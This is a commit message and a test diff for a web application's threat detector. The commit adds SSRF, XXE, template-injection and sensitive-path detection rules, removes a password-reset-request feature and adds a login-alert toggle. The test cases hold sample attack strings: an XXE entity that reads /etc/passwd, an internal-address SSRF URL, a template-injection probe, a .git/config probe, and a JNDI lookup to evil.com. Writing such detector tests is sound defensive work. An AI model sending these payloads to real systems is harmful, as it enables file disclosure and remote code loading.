feat: 安全增强 + 删除密码重置申请功能 + 登录提醒开关

安全增强:
- 新增 SSRF、XXE、模板注入、敏感路径探测检测规则
- security/constants.py: 添加新的威胁类型和检测模式
- security/threat_detector.py: 实现新检测逻辑

删除密码重置申请功能:
- 移除 /api/password_resets 相关API
- 删除 password_reset_requests 数据库表
- 前端移除密码重置申请页面和菜单
- 用户只能通过邮��找回密码，未绑定邮箱需联系管理员

登录提醒全局开关:
- email_service.py: 添加 login_alert_enabled 字段
- routes/api_auth.py: 检查开关状态再发送登录提醒
- EmailPage.vue: 添加新设备登录提醒开关

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>

tests/test_threat_detector.py

@@ -59,6 +59,34 @@ def test_command_injection_scores_85():
     assert any(r.threat_type == C.THREAT_TYPE_COMMAND_INJECTION and r.score == 85 for r in results)
 
 
+def test_ssrf_scores_75():
+    detector = ThreatDetector()
+    results = detector.scan_input("http://127.0.0.1/admin", "url")
+    assert any(r.threat_type == C.THREAT_TYPE_SSRF and r.score == 75 for r in results)
+
+
+def test_xxe_scores_85():
+    detector = ThreatDetector()
+    payload = """<?xml version="1.0"?>
+    <!DOCTYPE foo [
+      <!ENTITY xxe SYSTEM "file:///etc/passwd">
+    ]>"""
+    results = detector.scan_input(payload, "xml")
+    assert any(r.threat_type == C.THREAT_TYPE_XXE and r.score == 85 for r in results)
+
+
+def test_template_injection_scores_70():
+    detector = ThreatDetector()
+    results = detector.scan_input("Hello {{ 7*7 }}", "tpl")
+    assert any(r.threat_type == C.THREAT_TYPE_TEMPLATE_INJECTION and r.score == 70 for r in results)
+
+
+def test_sensitive_path_probe_scores_40():
+    detector = ThreatDetector()
+    results = detector.scan_input("/.git/config", "path")
+    assert any(r.threat_type == C.THREAT_TYPE_SENSITIVE_PATH_PROBE and r.score == 40 for r in results)
+
+
 def test_scan_request_picks_up_args():
     app = Flask(__name__)
     detector = ThreatDetector()
@@ -66,4 +94,3 @@ def test_scan_request_picks_up_args():
     with app.test_request_context("/?q=${jndi:ldap://evil.com/a}"):
         results = detector.scan_request(request)
         assert any(r.field_name == "args.q" and r.threat_type == C.THREAT_TYPE_JNDI_INJECTION and r.score == 100 for r in results)
-